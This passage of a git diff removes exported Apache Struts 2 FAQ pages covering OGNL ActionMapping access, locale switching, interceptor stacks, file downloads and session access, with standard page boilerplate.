-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=89048">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=89048">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=89048">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=89048">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The following OGNL expression will return an object of type ActionMapping:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-#context['struts.actionMapping']
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-do-we-change-locales.html b/content/docs/how-do-we-change-locales.html
deleted file mode 100644
index e605d62..0000000
--- a/content/docs/how-do-we-change-locales.html
+++ /dev/null
@@ -1,180 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How do we change locales</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-do-we-change-locales.html">How do we change locales</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How do we change locales</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14161">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14161">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14161">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14161">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14161">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14161">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Simply include a parameter in the request, either from a link or a form, that sets the <code>requst_locale</code> parameter to the language and (optionally) counry code to use.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;h3&gt;Language Options&lt;/h3&gt;
-&lt;ul&gt;
-    &lt;li&gt;
-        &lt;s:url id="en" action="Welcome"&gt;
-            &lt;s:param name="request_locale"&gt;en&lt;/s:param&gt;
-        &lt;/s:url&gt;
-        &lt;s:a href="%{en}"&gt;English&lt;/s:a&gt;
-    &lt;/li&gt;
-    &lt;li&gt;
-        &lt;a href="&lt;s:url action="Welcome"&gt;
-            &lt;s:param name="request_locale"&gt;ja&lt;/s:param&gt;
-        &lt;/s:url&gt;"&gt;Japanese&lt;/a&gt;
-   &lt;/li&gt;
-    &lt;li&gt;
-        &lt;a href="&lt;s:url value="Welcome.do"&gt;
-            &lt;s:param name="request_locale" value="'ru'" /&gt;
-            &lt;/s:url&gt;"&gt;Russian&lt;/a&gt;
-    &lt;/li&gt;
-&lt;/ul&gt;
-</pre>
-</div></div> 
-
-<p>The default interceptor stack includes an i18n interceptor that watches for the <code>request_locale</code> parameter. The parameter name is configurable.</p>
-
-<p>An alternative is to set the locale by calling the <code>setLocale</code> method of ActionSupport. </p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-do-we-configure-an-interceptor-to-be-used-with-every-action.html b/content/docs/how-do-we-configure-an-interceptor-to-be-used-with-every-action.html
deleted file mode 100644
index 1ead3a8..0000000
--- a/content/docs/how-do-we-configure-an-interceptor-to-be-used-with-every-action.html
+++ /dev/null
@@ -1,184 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How do we configure an Interceptor to be used with every Action</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-do-we-configure-an-interceptor-to-be-used-with-every-action.html">How do we configure an Interceptor to be used with every Action</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How do we configure an Interceptor to be used with every Action</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29114">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29114">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29114">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29114">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29114">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29114">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Any given action mapping can create an "ad-hoc" interceptor stack</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="login"  class="tutorial.Login"&gt;
-
-    &lt;interceptor-ref name="timer"/&gt;
-    &lt;interceptor-ref name="logger"/&gt;
-    &lt;interceptor-ref name="defaultStack"/&gt;
-
-    &lt;result name="input"&gt;login.jsp&lt;/result&gt;
-    &lt;result type="redirectAction"&gt;/secure/home&lt;/result&gt;
-
-&lt;/action&gt;
-</pre>
-</div></div><p>Or, we can create our own named stacks and even declare a new default interceptor stack for a package</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;package name="default" extends="struts-default" &gt;
-
-    &lt;interceptors&gt;
-        &lt;interceptor-stack name="myStack"&gt;
-            &lt;interceptor-ref name="timer"/&gt;
-            &lt;interceptor-ref name="logger"/&gt;
-            &lt;interceptor-ref name="defaultStack"/&gt;
-       &lt;/interceptor-stack&gt;
-    &lt;/interceptors&gt;
-
-    &lt;default-interceptor-ref name="myStack"/&gt;
-
-    &lt;action name="login"  class="tutorial.Login"&gt;
-        &lt;result name="input"&gt;login.jsp&lt;/result&gt;
-        &lt;result type="redirectAction"&gt;/secure/home&lt;/result&gt;
-    &lt;/action&gt;
-
-&lt;/package&gt;
-</pre>
-</div></div><p>Packages can extend other packages. If all the other packages in your application extend "default", then they will all inherit the new default interceptor.</p><p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> See also <a shape="rect" href="interceptors.html">Configuring Interceptors</a>, and th [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-do-we-download-files-within-the-framework.html b/content/docs/how-do-we-download-files-within-the-framework.html
deleted file mode 100644
index f778e35..0000000
--- a/content/docs/how-do-we-download-files-within-the-framework.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How do we download files within the framework</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-do-we-download-files-within-the-framework.html">How do we download files within the framework</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How do we download files within the framework</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=68657">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=68657">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=68657">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=68657">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=68657">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=68657">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>See the <a shape="rect" href="stream-result.html">Stream Result</a> page.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-do-we-get-access-to-the-session.html b/content/docs/how-do-we-get-access-to-the-session.html
deleted file mode 100644
index a6ff933..0000000
--- a/content/docs/how-do-we-get-access-to-the-session.html
+++ /dev/null
@@ -1,155 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How do we get access to the session</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-do-we-get-access-to-the-session.html">How do we get access to the session</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How do we get access to the session</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13878">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13878">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13878">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13878">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13878">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13878">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>You can obtain the session attributes by implementing <code>SessionAware</code> or getting them from the&#160;<code>ActionContext</code>.</p><h2 id="Howdowegetaccesstothesession-ImplementingSessionAware">Implementing&#160;<code>SessionAware</code></h2><p><img class="emoticon emoticon-yellow-star" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/star_yellow.png" data-emotico [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">Map attibutes = ActionContext.getContext().getSession();
-</pre>
-</div></div><p><span style="font-size: 14.0px;line-height: 1.4285715;">@see </span><a shape="rect" href="struts-defaultxml.html">struts-default.xml</a></p><p>@see org.apache.struts.acton2.interceptor.SessionAware</p><p>@see <a shape="rect" href="servlet-config-interceptor.html">org.apache.struts.acton2.interceptor.ServletConfigInterceptor</a></p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-do-we-get-invalidate-the-session.html b/content/docs/how-do-we-get-invalidate-the-session.html
deleted file mode 100644
index 05815ac..0000000
--- a/content/docs/how-do-we-get-invalidate-the-session.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
